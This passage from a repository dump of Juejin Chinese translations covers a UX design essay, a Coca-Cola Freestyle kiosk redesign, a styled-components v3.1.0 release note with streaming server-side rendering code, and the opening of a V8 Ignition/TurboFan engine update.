Chugh\n\n如果你花时间将各种信息糅合，会想到一些新角度来重构问题，这些很难从最初的纯概念提炼。深入探讨问题更好地使问题合理化，帮你更好地理解问题。而帮助用户理解你的设计，你需要以理服人。这意味着设计决定要由用户反馈，运营数据而来。\n\n> 如果你不能将作品与现实联结，纯属浪费时间。\n\nDan Brown 提出了一个帮你分解问题的方法，为你的设计之路辟开三条小径。这些约束能够合理化你的想法，描述设计决策。\n\n- **原则** 定义设计能做什么不能做什么，这些叙述是基于研究的，当它们与研究相联结时，可以被引用作为**奥义**。\n- **概念** 整体上建立产品的方法，可被表述为中心思想，中心主题。\n- **模型** 抽象地描述产品，展现背后的结构，流程，方法。提供了产品运作的概念（非真实功能）。\n\n花时间结合数据理解问题，这将帮你建立约束，构建框架，以完成目标。约束在于塑造可扩展性，框架塑造可行性（设计能做什么，不能做什么）这能帮助你更专心，从不同角度思考，怎样实践地着手问题。\n\n### 你真的了解问题么？\n\n![](https://cdn-images-1.medium.com/max/1600/0*3hj7tpNR-UUiF3DE.jpg)\n\n当我和同事 Vera 讨论我的设计时，她总是要求我举个例子或提出具体用户用例。有那么几次，我只是单纯听她陈述问题，看现有的数据，没能够提供确切的用户用例以支持我的想法，这种做法就不太好。\n\n如果你不能给出具体实例，那么可能是你对问题没有清楚的认知。由于我们在同一个组里，同事可能还能听懂我在和他解释什么。但一旦我给其他人解释我的想法，若没有实例或理论支持，他们便会无法理解你。事实上，这会让一些惊艳的想法付之一炬，仅仅因为你没能清晰透彻地解释它。\n\n> 在描述你的设计时，你不能只是依赖于抽象概念或比喻。你需要的是讲个故事，背后还要有靠谱的理论框架。\n\n基于公司背景设定，你不仅需要能解释给大众，尤其是高层，讲清楚你正在进行的项目，进行的怎么样，以方便高层做决策惠及客户。这意味着提供实例，提供数据支持，以及客户反馈。你当然希望他们首次看到你的工作时就能百分百理解你所表达的内容，尤其是你花了很多时间建立的逻辑和设计。必要情况下，你要在五到十分钟内解释三个月的工作。\n\n在 UX 设计领域，重点是你需要理解你的设计受众，以理解他们的痛点，并提出解决方案以减轻用户的痛点。否则，你就是在浪费时间，解决方案既不能使你受益，也不能使公司和客户受益。\n\n### 结尾的想法\n\n![](https://cdn-images-1.medium.com/max/1600/0*vbHDbYW1_txwX_JU.png)\n\n起初，我感觉到自己“效率低”，究其原因是我不能理解用户和需要解决的问题，没能深入感受用户的经历。这也让我意识到，当你没有对问题的一手经验时，很难感同身受。\n\n> 想要与用户产生共鸣，你需要经历用户所经历，感受用户所感受。\n\n在这个项目中，我学到了很多，与很多人聊天谈话，但起初我没能沉淀信息，付之行动。相反，我受阻于多方面冗余的信息，让自己困于麻痹的分析过程，因为我未能学会如何将得到的信息结合而进步。\n\n> 拥抱未知，尤其是在最初的时刻。因为未知使你成为一张最崭新的白纸，让你与他人有彻底的不同。(Sara Blakely)\n\n当你不确定做什么的时候，困于模凌两可，这些都还好。在怀疑之中，慢慢用时间消化你学到的一切。创造约束能使你关注于什么才是真正重要的，构建问题的框架，理解问题的实质。别太早做出设计决定，尤其在是你还不了解自己在设计什么，为谁设计，怎样设计的时候。\n\n#### 关于文章如果您有何问题，或是想和我聊聊，欢迎与我联系 [Linkedin](https://www.linkedin.com/in/tiffany-wang-551584a0) :)\n\n#### 喜欢文章的话就别忘了分享一下噢\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/ux-review-and-redesign-of-the-cocacola-freestyle-kiosk-interface.md",
    "content": "> * 原文地址：[UX Review and Redesign of the CocaCola Freestyle Kiosk Interface](https://medium.com/@vedantha/ux-review-and-redesign-of-the-cocacola-freestyle-kiosk-interface-f77fc087c09)\n> * 原文作者：[Ved](https://medium.com/@vedantha)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[ylq167](https://github.com/ylq167)\n> * 校对者：[horizon13th](https://github.com/horizon13th) [yzgyyang](https://github.com/yzgyyang)\n\n# 可口可乐自由风格售卖亭界面用户体验的回顾和重新设计 #\n\n![](https://cdn-images-1.medium.com/max/800/1*ZydJMy1NI8CJ2Uwc0ocewA.jpeg)\n\n一个可口可乐自由风格售卖亭的界面\n\n### **任务** ###\n\n- 理解这个售卖亭和它的用户体验\n- 找到痛点以及用户体验的障碍\n- 优化可口可乐自由风格售卖亭的用户体验和界面设计\n\n### 设计流程 ###\n\n![](https://cdn-images-1.medium.com/max/800/1*Jo9PS6PGeSzVPIJpSlnrLQ.png)\n\n这是这个项目的设计流程\n\n在重新设计中我遵循了简单的设计流程。\n\n我自己之前从来没有用过这个机器，所以我需要理解它是如何工作的，以及它的使用环境。观察这个机器在不同的餐馆和电影院中如何被使用提供了重要的场景。\n\n之后我做了一些快速用户测试，询问了当他们接饮料时在想什么。我把我的观察和用户访谈做了笔记，并分析数据以搞清楚他们的意义。这驱动了在这篇文章中提到的再设计。\n\n### **观察** ###\n\n我去了我所在区域附近有该机器的几家大众餐馆。主要目的是理解用户，环境和使用场景。通过和当地工作人员交流我也发现了（设备使用的）高峰时段。\n\n**环境**\n\n- 售卖机主要被放置在餐馆里，还有电影院等休闲场所。\n- （这些场所）在周末，假期，以及工作日的特定时间会是高峰期。\n- 高峰时经常会排队。\n\n**终端用户**\n\n机器的终端用户包括\n\n- 年龄段：青少年及以上（够不着屏幕，不能操作屏幕的群体除外）\n- 对热量和咖啡因有不同偏好的群体\n\n### **快速的用户测试** ##\n\n- 参与人数：4\n- 熟悉程度：两人第一次用，两人曾经用过\n- 时间：8、9 分钟左右\n\n**来自用户测试的记录：**\n\n- 曾经用过的用户明确的知道他们想要喝什么。他们快速的挑选类别，对图形界面很熟悉。\n- 新用户花了很长时间做选择，他们在不同的几种主要饮料种类中纠结了一会儿。\n- 新用户对屏幕底部的「Push」按钮也感到疑惑。\n- 一些用户在装满杯子前想「尝试」新的味道或者是混合饮料。因此，他们也有许多反复的（操作）。\n\n**一些用户建议**\n\n> 「哇，太多选项了！」 \n\n> 「我选的饮料通常在这儿」，用户指着饮料按钮说。\n\n> 「我是否需要按住「Push」键？」\n\n### 分析 ###\n\n在界面和用户流等不同问题上，用户测试给了我一些很好的启发。为了理解更多，我们来探讨一下现有的用户流程。从用户站在售卖机前开始，到得到一杯饮料，过程如下图所示。\n\n#### 当前用户流（仅适用于售卖机） ####\n\n![](https://cdn-images-1.medium.com/max/800/1*zsd3Jch6qnl0JaerA700-g.png)\n\n得到一杯饮料或者创造混合饮料的流程\n\n这是一个最好的用户流程用例，适用于绝大多数的用户。虽然它一开始看起来相当简单，但是当用户没有想好要什么饮料时，这里最主要的障碍就是认知过载。 **每一屏上面都有 8 到 15 个选项可供选择。在这种情况下作出决策是相当困难的。而现有的设计并没有帮助（用户做出选择）。** 当用户需要创造一种混合饮料的时候花费的时间会更多。\n\n#### 当前移动应用的用户流程 ####\n\n![](https://cdn-images-1.medium.com/max/800/1*iOMdvGQAE33q_HYoXZZn1Q.png)\n\n移动应用的用户流程\n\n在售卖机上使用应用会稍稍简化流程，通过为用户准备好混合饮料节约了时间，所以他们不需要每次都浏览和选择。\n\n#### 痛点 ####\n\n从用户测试和[许多用户的在线反馈](https://www.facebook.com/IHateTheCocaColaFreestyleDrinkMachine/)来看，这些是我发现的痛点。\n\n![](https://cdn-images-1.medium.com/max/800/1*rJ48-RHDEqtJJNfqK0kgSw.jpeg)\n\n一个屏幕内展示 15 种饮料！\n\n- 太多的选择中导致的认知过载（[根据西克定律](https://en.wikipedia.org/wiki/Hick%27s_law))\n- 对于新用户和想要混合口味的用户来说，有太多反复的步骤\n- 对于「push」按钮的初始认知不明确\n- 屏幕超时的时间太短-造成了紧迫感\n- 过滤器中可以不含咖啡因或者低热量，但不能同时过滤\n- 获得一些常规口味的饮料像可乐和雪碧也需要太长时间。\n\n### 重新设计 ###\n\n根据前一阶段的发现，可以对用户体验进行细化，如下所示。辅助的移动应用也被考虑进行重新设计。首先让我们看看为了重新设计而定制的一些目标，约束和假设。\n\n#### 重新设计的目标 ####\n\n- 对于大多数人来说减少获得饮料所需要的步骤数\n- 减少认知负荷\n- 让创造混合（饮料）更简单\n- 让导航更简单\n\n#### **约束** ####\n- 主要的约束就是触屏，它是电阻式触屏，适用于轻击的交互，而不太适合更高级的手势。\n\n#### 假设 ####\n\n- 售卖机可以给可口可乐（或者服务商）提供数据反馈\n- 可口可乐和合作伙伴持续使用这些数据分析并优化产品。\n\n#### 草图 ####\n\n在快速产生创意上草图十分强大，我从做这些最初的草图中得到了最终的重新设计（方案），\n\n![](https://cdn-images-1.medium.com/max/800/1*YUdZ1df6gR97Ntz1jHVs_w.jpeg)\n\n探索一些初步的概念\n\n![](https://cdn-images-1.medium.com/max/800/1*5Gab6nhVVNOHvP-kLBCY1Q.jpeg)\n\n一些混合饮料的概念\n\n#### 低保真原型 ####\n\n这些初步的原型是用 Balsamiq 制成的。（他们源于大量的快速草图）\n\n![](https://cdn-images-1.medium.com/max/1000/1*zBNUTKoV3u_vAM-i2ItgvA.png) \n\n左边：初始化界面 || 右边：用户选择一种饮料后的界面\n\n思考下面的界面\n\n左边：初始化界面由最受用户欢迎的饮料产品构成。请注意，「低热量」和「不含咖啡因」是过滤条件。用户可以选择两者，减少后续屏幕中的选项。\n\n右边：用户选择了一种饮料后，系统「推荐」四种流行口味的饮料。请注意，这里有八种饮料可以选择。\n\n这是更好的吗？那么，使用数据反馈的建议，设计 **可以更容易的从大约 100 个总数中选出 48 种最受欢迎的饮料。**\n\n![](https://cdn-images-1.medium.com/max/1000/1*248PiUK1TkFRxuk2hvzQSw.png)\n\n左边：在选择的饮料已经确定时 || 右边：用户接饮料时\n\n上面的两个界面显示了接选中的饮料的流程。请注意，描述为「按住」，解决了用户早期对系统的混淆。作为改善微交互的一部分，它也相应了用户界面上的按钮。\n\n另一个重要的事情需要注意-**这一行圆圈，这些是添加饮料到当前饮料中的建议。**用户可以快速按下这些选项之一，并将其添加到混合饮料中。再一次强调，**这些来源于数据的支持。**\n\n![](https://cdn-images-1.medium.com/max/800/1*wje3sg8WTiqT0IGdXH6hXA.png)\n\n在用户选择第二种饮料混合后\n\n其他的关键点\n\n- 设计使其易于导航。分页操作是一个容易的来回查找的设计，并且给出了可选择的全部选项的预期。\n\n- 为了混合，用户还可以随时返回选择不用的饮料。这个设计试图简化此过程，但也使用户可以灵活的返回或重新开始。\n\n#### 这如何改变用户流 ####\n\n让我们考虑如何 **在数据驱动的支持下，针对大多数人，** 改变用户流。\n\n![](https://cdn-images-1.medium.com/max/800/1*cyjjSL2T-qXC7uocWjDK8g.png)\n\n重新设计的用户流\n\n#### 移动应用如何进一步改善体验 ####\n\n移动应用已经能创造更好的体验。但还可以进一步改善。让我们来看看我们如何在移动应用上选择饮料，以及如何改进。\n\n![](https://cdn-images-1.medium.com/max/800/1*XG8SU63vMnjNmmsE1UAPzw.png)\n\n左边：目前选择饮料的界面 || 右边：一个下拉搜索的设计\n\n#### 高保真界面 ####\n\n现在让我们看一看一些高保真设计，基于一些用户反馈，与低保真界面相比有一些小的变化。\n\n![](https://cdn-images-1.medium.com/max/1000/1*dyJzBQnzaKCw1hFwONe-Nw.png)\n\n左边：开始屏幕。该界面展示了第一页上最受欢迎的六种饮料。 || 右边：当用户点击一杯饮料后，变化如图所示。\n\n开始画面上的一个变化是水图标被移到了右上角以获得更多的可见性，并且该按钮也用了圆形更符合饮料的图标形状。\n\n![](https://cdn-images-1.medium.com/max/1000/1*tka8iXFvRQNEaDVwvYBz6g.png)\n\n左边：一旦用户选择了一个饮料的变种，就把它倒入杯子里。||右边：当用户按下「Push」按钮时 UI 界面的反馈。\n\n这些界面和低保真设计有一些不同。再最终版本中还有一个附加列-「混合饮料建议」旁边的「其他选择」。这更清楚的表达了用户（可以进行）的选择。如果用户想要选择与推荐的饮料不同的风味，这会引导他们进行下一步。\n\n![](https://cdn-images-1.medium.com/max/1000/1*65IQM2cIqVpx421UaZtrjQ.png)\n\n左边：用户点击推荐的第二杯饮料进行混合后，显示这个界面。|| 右边： 从开始的界面（界面 1），点击「水果味」进入此界面。\n\n6 号屏幕显示「水果味」的选择。最受欢迎的五种口味显示在顶部并十分突出。下面显示不太受欢迎的口味。Kiosk 上有三种「混合」口味，这些都是混合口味。选择一个这些选项将显示类似于屏幕 2 的选项。\n\n点击原型\n\n[![](https://marvelapp-live.storage.googleapis.com/serve/2017/5/18854dfb4ab14e5ba0da5aa0eb69942a.png)](https://marvelapp.com/28f7gbe?emb=1&referrer=https%3A%2F%2Fmedium.com%2Fmedia%2F1dba6e6eec95ce7b8611343aef3c1237%3FpostId%3Df77fc087c09)\n\n### 设计的局限性 ###\n\n虽然重新设计解决了一些关键点，但仍存在一些不足。\n\n- 当前设计将更受欢迎的选项优先于不常见的选项，如果用户想要不常见的选项，可能需要多做几步。\n\n- 如果用户想要使用于推荐的口味不同的口味混合，需要重新开始活着回到口味选择页面，然后挑选另一种饮料。\n\n**原型使用的工具：Balsamiq, Sketch**\n\n**水果图标来自于 [*Freepik*](http://www.freepik.com)和 [*Madebyoliver*](http://www.flaticon.com/authors/madebyoliver)**\n\n**如果您喜欢这篇文章，请点击原文里的小绿心。 它帮助别人发现这个帖子，并在我脸上放一个微笑：）。**\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/v3-1-0-such-perf-wow-many-streams.md",
    "content": "> * 原文地址：[v3.1.0: A massive performance boost and streaming server-side rendering support](https://medium.com/styled-components/v3-1-0-such-perf-wow-many-streams-c45c434dbd03)\n> * 原文作者：[Evan Scott](https://medium.com/@probablyup?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/v3-1-0-such-perf-wow-many-streams.md](https://github.com/xitu/gold-miner/blob/master/TODO/v3-1-0-such-perf-wow-many-streams.md)\n> * 译者：[FateZeros](https://github.com/fateZeros)\n> * 校对者：[ryouaki](https://github.com/ryouaki) [dazhi1011](https://github.com/dazhi1011)\n\n# v3.1.0：大幅性能提升并支持服务端流式渲染\n\n## 在生产环境，一种新的 CSS 注入机制意味着更快的客户端渲染。 🔥 服务端流式渲染可以加快首屏渲染时间！ 🔥🔥\n\n### 在生产环境更快的 CSS 注入\n\n这个补丁出来很久了，并有很长的历史。差不多一年半前 (!)[Sunil Pai 发现一个新的，却广泛未知的 DOM API：](https://twitter.com/threepointone/status/758095395482324992) `[insertRule](https://twitter.com/threepointone/status/758095395482324992)`。它允许人们以惊人的速度将 CSS 从 JavaScript 插入到 DOM 中；唯一的缺点就是样式不能使用浏览器开发者工具进行编辑。\n\n当 [Glen](https://github.com/geelen) 和 [Max](https://github.com/mxstbr) 首次构建样式化组件时，他们重点 关注的是开发人员的体验。性能问题对于较小的应用来说是很稀少的，所以他们决定并不使用 `insertRule`。随着采用量不断增加，人们在更大的应用程序中使用样式组件，在变化频率较高的组件中样式注入成为了性能瓶颈。\n\n感谢 Reddit 的一名前端工程师 [Ryan Schwers](https://twitter.com/real_schwers)，样式组件 v3.1.0 现在默认在生产环境使用 `insertRule` 。\n\n![](https://cdn-images-1.medium.com/max/1200/1*GaOQyktA0iQkF3yDExExgw.png)\n\n我们将前一个版本 (v3.0.2) 和使用了 `insertRule` 的新版本的进行了一些对比测试，结果甚至比我们的预期（已经很高的期望）还要高：\n\n**测试应用程序的初始挂载时间较之前减少了约 10 倍，重渲染的时间减少了约 20 倍！**\n\n请注意，测试结果是压力测试的结果，并不代表真实的应用程序。虽然你的应用程序挂载时间（可能）不会减少 10 倍，**但在我们的一个生产环境下的应用程序中，首次交互时间会下降数百毫秒**！\n\n在这些基准测试中，样式组件与其他主流的 React CSS-in-JS 框架相比，效果如何：\n\n![](https://cdn-images-1.medium.com/max/1600/1*X0KamN6FwoOMfp-n0TZYsA.png)\n\n样式组件与所有其他主流的 React CSS-in-JS 框架相比（浅红色是：v3.0.2；深红色是：v3.1.0）\n\n在更细致测试中，虽然它不是（还不是）最快的 CSS-in-JS 框架，但它只比那些最快的框架慢少许 ——  关键的是它不再是瓶颈。现实的使用结果是最鼓舞人心的，我们已迫不及待的等你们都来报告你们的发现了！\n\n### 服务端流式渲染\n\n在 React v16 中有介绍[服务端流式渲染](https://hackernoon.com/whats-new-with-server-side-rendering-in-react-16-9b0d78585d67)。在 React 还在渲染的时候，它允许应用程序服务器发送部分 HTML 作为可用页面，这有助于 **更快的首屏渲染（TTFB）**，也允许你的 Node 服务器***更容易***处理[**后端压力**](https://nodejs.org/en/docs/guides/backpressuring-in-streams/)。\n\n但不能和 CSS-in-JS 兼容：传统上，在 React 完成渲染后，我们会在所有组件样式的 `<head>` 中注入一个 `<style>` 标签。然而，在流式传输的情况下，在所有组件渲染前，`<head>` 就已发送到用户端，所以我们不能再注入样式。\n\n**解决方案是在组件被渲染的时候，插入带 `**<style>**` 的 HTML**，而不是等到再一次性注入所有组件。由于那样会在客户端上造成 ReactDOM 混乱（ React 不再对现在的 HTML 负责），所以我们在客户端再重构前将所有这些 `style` 标签重新合并到 `<head>` 中。\n\n我们已经实现了这一点；**你可以在样式组件中使用服务端流式渲染** 以下是使用方法：\n\n```\nimport { renderToNodeStream } from 'react-dom/server'\nimport styled, { ServerStyleSheet } from 'styled-components'\nres.write('<!DOCTYPE html><html><head><title>My Title</title></head><body><div id=\"root\">')\nconst sheet = new ServerStyleSheet()\nconst jsx = sheet.collectStyles(<App />)\n// Interleave the HTML stream with <style> tags\nconst stream = sheet.interleaveWithNodeStream(\n  renderToNodeStream(jsx)\n)\nstream.pipe(res, { end: false })\nstream.on('end', () => res.end('</div></body></html>'))\n```\n\n稍后在客户端，我们必须调用 `consolidateStreamedStyles()` API 为 React 的再重构阶段做准备：\n\n```\nimport ReactDOM from 'react-dom'\nimport { consolidateStreamedStyles } from 'styled-components'\n/* Make sure you call this before ReactDOM.hydrate! */\nconsolidateStreamedStyles()\nReactDOM.hydrate(<App />, rootElem)\n```\n\n这里就是它的所有了！💯（查看[流式文档](http://styled-components.com/docs/advanced#streaming-rendering)了解更多信息）\n\n### v3：无缝更新\n\n好消息！如果你使用的是 v2 版本（或者甚至是 v1 版本），**新版本是向后兼容的**，应该是无缝升级。这些新版本已加入了许多改进，所有请看一看，我们希望你和你的访客能够享受它们！ \n\n有关 v3.0.0 和 v3.1.0 发行版更多的信息，请参阅[更新日志](https://www.styled-components.com/releases)。\n\n紧随潮流！ 💅\n\n* * *\n\n[可以在样式化组件社区中讨论这篇文章](https://spectrum.chat/thread/845da820-83f7-4228-981c-ff5723d33e61)\n\n感谢 Gregory Shehet 提出的 [CSS-in-JS benchmarks](https://github.com/A-gambit/CSS-IN-JS-Benchmarks) 为这篇文章提供了参考。\n\n\n\n---\n \n > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/v8-behind-the-scenes-november-edition.md",
    "content": "\n  > * 原文地址：[V8: Behind the Scenes](http://benediktmeurer.de/2016/11/25/v8-behind-the-scenes-november-edition/)\n  > * 原文作者：[Benedikt Meurer](http://benediktmeurer.de/)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/v8-behind-the-scenes-november-edition.md](https://github.com/xitu/gold-miner/blob/master/TODO/v8-behind-the-scenes-november-edition.md)\n  > * 译者：[逆寒](https://github.com/thisisandy)\n  > * 校对者：[Yuuoniy](https://github.com/Yuuoniy) [ahonn](https://github.com/ahonn)\n\n  # V8: 引擎背后\n\n  这是我就 V8 幕后发生的故事所尝试撰写的一系列博文，目的是使我们为 [Node.js](https://nodejs.org) 和 [Chrome](https://www.google.com/chrome) 所做的工作以及其对开发者的影响更加公开透明。在文中，我将对我主动参与的部分进行详细阐述，内容大致涉及 JavaScript 执行优化、新的语言特性及工具/嵌入器相关事务。\n\n在这一系列的博文中，所有观点均为个人观点，并不代是 Google 或 Chrome/V8 团队的官方口径。这一系列文章针对 V8 引擎的主要受众，他们通过 Node.js，Chrome 或者其他嵌入器使用 V8 引擎，为终端用户提供了一流的产品。在文中，我尽量提及一些背景信息和有趣的细节，避免浅尝辄止、走马观花之嫌。\n\n在首篇，我会简要介绍我们目前在 TurboFan 编译架构 和 Ignition 解释器上的工作内容，ES2015 的进度以及一些性能相关的内容。\n\n\n\n## 基于 Ignition 和 Turbofan 的更新\n\n![Brace yourself - TurboFan and Ignition are coming](http://benediktmeurer.de/images/2016/brace-yourself-turbofan-ignition-are-coming.jpeg)\n\n\n\n在 V8 工作内容方面，如一些人预料到的那样，我们终于着手为 V8 升级新的架构了。 新的架构基于 [Ignition 解释器](http://v8project.blogspot.de/2016/08/firing-up-ignition-interpreter.html) 和 [TurboFan 编译器](http://v8project.blogspot.de/2015/07/digging-into-turbofan-jit.html)。有可能你在 [arewefastyet](http://arewefastyet.com) 上看到了*Chrome (Ignition)* 和 *Chrome (TurboFan, Ignition)* 的图表，两种可能的配置正在评估中。\n\n\n1.  *Chrome (Ignition)*，即`--ignition-staging`配置，在现有的编译器架构（例如由 fullcodegen 基线编译器和 TurboFan、Crankshaft 优化编译器组成的架构）前加入了 Ignition 解释器作为第三层，但是从 Ignition 到 TurboFan 有一个直接的 tier up 策略以处理那些 Crankshaft 无法应对的情况（如 `try`-`catch`/-`finally`、`eval`、`for`-`of`、解构、`class` 字面量等）。这是对我们[今年早些时候宣布 Ignition 时](http://v8project.blogspot.de/2016/08/firing-up-ignition-interpreter.html)的原流水线进行的微调。\n2.  在 *Chrome (TurboFan, Ignition)*，即 `--ignition-staging --turbo` 配置下，一切只经过 Ignition 和 TurboFan，fullcodegen 和 Crankshaft 丝毫不参与这个过程。\n\n除此之外，[昨天](https://codereview.chromium.org/2505933008)我们终于停止了 fullcodegen， 支持在默认配置中（Crankshaft 打死都不支持的）JavaScript 新特性。也就是说，当在代码中使用了 `try`-`catch` 后，这些函数的运行会经过 Ignition 和 TurboFan 处理，而不是先经过 fullcodegen 处理最后通过 TurboFan 优化 （有时甚至没有 TurboFan 优化这一环节）。从此你无须再为某些框架的限制做多余的工作，代码性能更强，也更加整洁干净。另一个好处是让我们能够大大简化整体架构。当前 V8 的整体编译架构仍然长这个样子：\n\n\n![Old V8 pipeline](http://benediktmeurer.de/images/2016/v8-old-pipeline-20161125.png)\n\n同时，这种架构也带来了许多问题：尤其是考虑到新的语言特性需要通过管道的各个部分得以实现，不同的编译器（大部分是不兼容的）也要做出一致的优化。此外，类似 DevTools 的工具，其整合的管理成本也在攀升。像调试器或分析器等工具，则需独立于编译器而良好运行。所以在中期，我们会大致依照下图简化整体的编译管道。\n\n![New V8 pipeline](http://benediktmeurer.de/images/2016/v8-new-pipeline-20161125.png)\n\n\n\n简化管道有诸多好处，不仅扔掉了些技术的历史包袱，过去无法实现的优化也成了可能，又因为各个编译器不需要完全依照 AST，所以这对减少长期的内存使用和启动消耗大有裨益。因此我们才可能大幅降低 AST 的大小和复杂性。\n\n时至今日，我们对 Ignition 和 TurboFan 的使用又走到了哪一步了呢？我们已经花了大量时间实现默认配置，对于 Ignition 而言是在启动延迟和基线性能方面加紧改进，而对于 TurboFan 而言，大部分时间花在了提高传统（与现代） JavaScript 运行的性能极限上。这实际上比我们三年前刚开始接触 TurboFan 的预期要复杂很多。但想到差不多 10 个优秀工程师花了将近 6 年的时间才优化了旧的 V8 编译器管道，特别是那些 [Octane](https://developers.google.com/octane)， [Kraken](http://krakenbenchmark.mozilla.org) 和 [JetStream](http://browserbench.org/JetStream) 静态测试套件测量的工作，这其实合情合理了。自从 8 月份我们开始全面使用 TurboFan 和 Ignition 管道后，我们在 Ostane 上的分数翻了将近三倍，而且在 Kraken 上获得了大概 14 倍的性能提升 （不过这个数字有一些夸张，只是强调一下我们最初做不到在一个函数执行期间将它从 Ignition 层提升到 TurboFan）。\n\n![Octane score](http://benediktmeurer.de/images/2016/octane-20161125.png)\n\n![Kraken score](http://benediktmeurer.de/images/2016/kraken-20161125.png)\n\n可能这些基准代表的只是性能峰值，更别谈这些基准本身精准与否。但当你需要替换当前的架构时，又需要一个参考以便得知自己进度如何。与默认配置相比，性能其实相差无几了。\n\n![Octane score (including default)](http://benediktmeurer.de/images/2016/octane-cs-20161125.png)\n\n还有诸多基准测试结果表明 TurboFan 与 Ignition 的性能远远超过了默认配置（通常是因为 Crankshaft 无法完成一些极端情况的优化），但也在一些基准测试中，即使 Octane 上 Crankshaft 已经生成相当可观的代码，结果还是被 TurboFan 比下去。例如在 Navier Stoker 的案例中，TurboFan 受益于所谓的 [sane inlining heuristics](https://docs.google.com/document/d/1VoYBhpDhJC4VlqMXCKvae-8IGuheBGxy32EOgC2LnT8)：\n\n![Octane score (Navier Stokes)](http://benediktmeurer.de/images/2016/octane-navier-stokes-20161125.png)\n\n别急， Ignition 和 TurboFan的性能未来更值得期待。 我们一直在加强 TurboFan，直追 Crankshaft，甚至要求它在旧标准上也依旧出色（例如传统的 ES3/ES5 高峰性能标准）。我们亦在谷歌内部就 TurboFan 和相关话题上进行了一些演说：\n\n- [An overview of the TurboFan compiler](https://docs.google.com/document/d/1VoYBhpDhJC4VlqMXCKvae-8IGuheBGxy32EOgC2LnT8)\n- [TurboFan IR](https://docs.google.com/presentation/d/1Z9iIHojKDrXvZ27gRX51UxHD-bKf1QcPzSijntpMJBM)\n- [CodeStubAssembler: Redux](https://docs.google.com/presentation/d/1u6bsgRBqyVY3RddMfF1ZaJ1hWmqHZiVMuPRw_iKpHlY)\n\n- [TurboFan 编译器一瞥](https://docs.google.com/document/d/1VoYBhpDhJC4VlqMXCKvae-8IGuheBGxy32EOgC2LnT8)\n- [TurboFan IR](https://docs.google.com/presentation/d/1Z9iIHojKDrXvZ27gRX51UxHD-bKf1QcPzSijntpMJBM)\n- [CodeStubAssembler: Redux](https://docs.google.com/presentation/d/1u6bsgRBqyVY3RddMfF1ZaJ1hWmqHZiVMuPRw_iKpHlY)\n\n现如今，我们也在将这些讯息尽可能的传达给公众（更多资料可以查找 [TurboFan](https://github.com/v8/v8/wiki/TurboFan)  和 V8 的wiki）。我们也打算明年在各种 JavaScript 和 Node.js 会议上发表演讲（如果想让我们在某些会议上聊聊 Ignition 和 TurboFan 尽请戳[我](https://twitter.com/bmeurer) ）。\n\n##ES2015 和未来标准的态势\n\n我参与提升 ES2015 和 ES.Next 的性能又是另一个一言难尽的话题了。今年年初，我们决定了要使 ES2015 和后面的标准可用需要投入多大的资源，可用不单单意味着重大特性的发行，也意味着一些开发工具（比如 [Chrome 开发者工具](https://developer.chrome.com/devtools)的调试器和性能分析器）也得整合在内。此外，编译后的版本（比如 [Babel](http://babeljs.io/) 或者其他编译器生成的文件）相比，性能自然也得不一般。在提升性能方面的工作上，我们制定了[性能计划](https://docs.google.com/document/d/1EA9EbfnydAmmU_lM8R_uEMQ-U_v4l9zulePSBkeYWmY)，并公之于众。这份计划记录了工作涉及的方方面面和详细进度。\n\n为了找到可怕的性能天堑，追踪解决相关问题，目前我们采用了所谓的 [six-speed](https://github.com/kpdecker/six-speed) 性能测试，这份测试致力于比较原生 ES5 和 ES6 对应特性的性能，对应特性是指不一定 100% 语义上的吻合，而是程序员退而选择的原生版本。拿数组解构举例：\n\n```\nvar data = [1, 2, 3];\n\nfunction fn() {\n  var [c] = data;\n  return c;\n}\n```\n\n在 ES6 大致相当于：\n\n```\nvar data = [1, 2, 3];\n\nfunction fn() {\n  var c = data[0];\n  return c;\n}\n```\n\n在 ES5 中，这两段代码语义是不相同的：第一段代码采用了 ES6 的[遍历方式](https://tc39.github.io/ecma262/#sec-iteration)，第二段代码则使用了普通的索引访问[数组奇异对象](https://tc39.github.io/ecma262/#sec-array-exotic-objects)。\n\n实际上，我们使用的这套性能测试经过了一些修改和拓展，包含了其他的测试。这套测试在[这里](https://github.com/fhinkel/six-speed)。所有的测试都是微观标准，所以我们并不会着眼于分数（每秒钟的操作）多少，我们在乎的是 ES6 相较 ES5 